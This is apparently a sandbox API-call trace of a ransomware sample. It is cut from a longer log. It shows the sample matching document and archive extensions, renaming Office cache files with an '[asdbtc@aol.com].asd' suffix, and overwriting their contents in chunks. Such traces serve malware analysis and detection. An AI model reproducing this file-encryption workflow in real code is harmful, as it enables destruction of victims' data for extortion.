(lpString1=".docx", lpString2=".LOG1") returned -1 [0041.536] lstrlenW (lpString=".pdf") returned 4 [0041.536] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0041.536] lstrlenW (lpString=".xls") returned 4 [0041.536] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0041.536] lstrlenW (lpString=".xlsx") returned 5 [0041.536] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0041.536] lstrlenW (lpString=".ppt") returned 4 [0041.536] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0041.536] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0041.536] lstrlenW (lpString=".zip") returned 4 [0041.536] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0041.536] lstrlenW (lpString=".rar") returned 4 [0041.536] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0041.536] lstrlenW (lpString=".bz2") returned 4 [0041.537] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0041.537] lstrlenW (lpString=".7z") returned 3 [0041.537] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0041.537] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0041.537] lstrlenW (lpString=".dbf") returned 4 [0041.537] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0041.537] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0041.537] lstrlenW (lpString=".1cd") returned 4 [0041.537] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0041.537] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0041.537] lstrlenW (lpString=".jpg") returned 4 [0041.537] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0041.537] Sleep (dwMilliseconds=0x64) [0041.734] lstrcmpiW (lpString1=".mui", lpString2=".asd") returned 1 [0041.734] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0041.734] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0041.735] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=90704) returned 1 [0041.735] CloseHandle (hObject=0x168) returned 1 [0041.735] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0041.735] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0041.735] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.735] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0041.735] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0041.735] lstrlenW (lpString=".doc") returned 4 [0041.735] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.736] lstrlenW (lpString=".docx") returned 5 [0041.736] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.736] lstrlenW (lpString=".pdf") returned 4 [0041.736] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.736] lstrlenW (lpString=".xls") returned 4 [0041.736] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.736] lstrlenW (lpString=".xlsx") returned 5 [0041.736] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.736] lstrlenW (lpString=".ppt") returned 4 [0041.736] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.736] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0041.736] lstrlenW (lpString=".zip") returned 4 [0041.736] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.736] lstrlenW (lpString=".rar") returned 4 [0041.736] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.736] lstrlenW (lpString=".bz2") returned 4 [0041.736] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.736] lstrlenW (lpString=".7z") returned 3 [0041.736] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.736] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0041.736] lstrlenW (lpString=".dbf") returned 4 [0041.736] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.736] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0041.736] lstrlenW (lpString=".1cd") returned 4 [0041.736] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.736] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0041.736] lstrlenW (lpString=".jpg") returned 4 [0041.736] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.736] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0041.736] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0041.736] lstrlenW (lpString=".doc") returned 4 [0041.736] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0041.736] lstrlenW (lpString=".docx") returned 5 [0041.736] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0041.737] lstrlenW (lpString=".pdf") returned 4 [0041.737] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0041.737] lstrlenW (lpString=".xls") returned 4 [0041.737] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0041.737] lstrlenW (lpString=".xlsx") returned 5 [0041.737] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0041.737] lstrlenW (lpString=".ppt") returned 4 [0041.737] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0041.737] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0041.737] lstrlenW (lpString=".zip") returned 4 [0041.737] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0041.737] lstrlenW (lpString=".rar") returned 4 [0041.737] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0041.737] lstrlenW (lpString=".bz2") returned 4 [0041.737] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0041.737] lstrlenW (lpString=".7z") returned 3 [0041.737] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0041.737] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0041.737] lstrlenW (lpString=".dbf") returned 4 [0041.737] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0041.737] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0041.737] lstrlenW (lpString=".1cd") returned 4 [0041.737] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0041.737] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0041.737] lstrlenW (lpString=".jpg") returned 4 [0041.737] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0041.774] Sleep (dwMilliseconds=0x64) [0041.942] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0041.942] lstrlenW (lpString="PptLR.cab") returned 9 [0041.942] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0042.065] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=70361744) returned 1 [0042.066] CloseHandle (hObject=0x15c) returned 1 [0042.066] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0042.066] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.066] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0042.067] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0042.067] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.067] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.067] ReadFile (in: hFile=0x15c, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.105] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.105] ReadFile (in: hFile=0x15c, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.129] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.129] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.129] ReadFile (in: hFile=0x15c, lpBuffer=0x36d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x36d0058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.357] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.357] WriteFile (in: hFile=0x15c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2b3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0042.373] SetEndOfFile (hFile=0x15c) returned 1 [0042.373] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f33bd0 [0042.376] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.376] WriteFile (in: hFile=0x15c, lpBuffer=0x3f33bd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33bd0*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.377] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.378] WriteFile (in: hFile=0x15c, lpBuffer=0x3f33bd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33bd0*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.378] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.378] WriteFile (in: hFile=0x15c, lpBuffer=0x3f33bd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f33bd0*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.380] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f33bd0 | out: hHeap=0x510000) returned 1 [0042.380] CloseHandle (hObject=0x15c) returned 1 [0045.061] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0045.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0045.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0045.061] lstrlenW (lpString=".doc") returned 4 [0045.061] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.061] lstrlenW (lpString=".docx") returned 5 [0045.061] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0045.061] lstrlenW (lpString=".pdf") returned 4 [0045.061] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.061] lstrlenW (lpString=".xls") returned 4 [0045.061] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.061] lstrlenW (lpString=".xlsx") returned 5 [0045.061] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0045.061] lstrlenW (lpString=".ppt") returned 4 [0045.061] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0045.062] lstrlenW (lpString=".zip") returned 4 [0045.062] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.062] lstrlenW (lpString=".rar") returned 4 [0045.062] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.062] lstrlenW (lpString=".bz2") returned 4 [0045.062] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.062] lstrlenW (lpString=".7z") returned 3 [0045.062] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0045.062] lstrlenW (lpString=".dbf") returned 4 [0045.062] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0045.062] lstrlenW (lpString=".1cd") returned 4 [0045.062] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0045.062] lstrlenW (lpString=".jpg") returned 4 [0045.062] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0045.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0045.062] lstrlenW (lpString=".doc") returned 4 [0045.062] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.062] lstrlenW (lpString=".docx") returned 5 [0045.062] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0045.062] lstrlenW (lpString=".pdf") returned 4 [0045.062] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.062] lstrlenW (lpString=".xls") returned 4 [0045.062] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.062] lstrlenW (lpString=".xlsx") returned 5 [0045.062] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0045.062] lstrlenW (lpString=".ppt") returned 4 [0045.062] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0045.063] lstrlenW (lpString=".zip") returned 4 [0045.063] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.063] lstrlenW (lpString=".rar") returned 4 [0045.063] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.063] lstrlenW (lpString=".bz2") returned 4 [0045.063] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.063] lstrlenW (lpString=".7z") returned 3 [0045.063] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0045.063] lstrlenW (lpString=".dbf") returned 4 [0045.063] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0045.063] lstrlenW (lpString=".1cd") returned 4 [0045.063] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0045.063] lstrlenW (lpString=".jpg") returned 4 [0045.063] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.063] lstrcmpiW (lpString1=".msi", lpString2=".asd") returned 1 [0045.063] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0045.063] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0045.064] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=2865664) returned 1 [0045.064] CloseHandle (hObject=0x15c) returned 1 [0045.064] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0045.064] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0045.064] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0045.065] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0045.065] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.065] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.065] ReadFile (in: hFile=0x15c, lpBuffer=0x3650058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3650058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.068] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.068] ReadFile (in: hFile=0x15c, lpBuffer=0x3690058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x3690058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.080] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.080] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.080] ReadFile (in: hFile=0x15c, lpBuffer=0x36d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b3fc38, lpOverlapped=0x0 | out: lpBuffer=0x36d0058*, lpNumberOfBytesRead=0x2b3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.098] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.099] WriteFile (in: hFile=0x15c, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2b3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x2b3fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0045.402] SetEndOfFile (hFile=0x15c) returned 1 [0045.402] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f93be0 [0045.406] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.406] WriteFile (in: hFile=0x15c, lpBuffer=0x3f93be0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93be0*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.409] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.409] WriteFile (in: hFile=0x15c, lpBuffer=0x3f93be0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93be0*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.415] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.415] WriteFile (in: hFile=0x15c, lpBuffer=0x3f93be0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b3fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f93be0*, lpNumberOfBytesWritten=0x2b3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.418] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f93be0 | out: hHeap=0x510000) returned 1 [0045.418] CloseHandle (hObject=0x15c) returned 1 [0046.059] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0046.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0046.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0046.060] lstrlenW (lpString=".doc") returned 4 [0046.060] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.060] lstrlenW (lpString=".docx") returned 5 [0046.060] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0046.060] lstrlenW (lpString=".pdf") returned 4 [0046.060] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.060] lstrlenW (lpString=".xls") returned 4 [0046.060] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.060] lstrlenW (lpString=".xlsx") returned 5 [0046.060] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0046.060] lstrlenW (lpString=".ppt") returned 4 [0046.060] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0046.060] lstrlenW (lpString=".zip") returned 4 [0046.060] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.060] lstrlenW (lpString=".rar") returned 4 [0046.060] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.060] lstrlenW (lpString=".bz2") returned 4 [0046.060] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.060] lstrlenW (lpString=".7z") returned 3 [0046.060] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0046.060] lstrlenW (lpString=".dbf") returned 4 [0046.060] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.060] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0046.061] lstrlenW (lpString=".1cd") returned 4 [0046.061] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0046.061] lstrlenW (lpString=".jpg") returned 4 [0046.061] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.061] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0046.061] 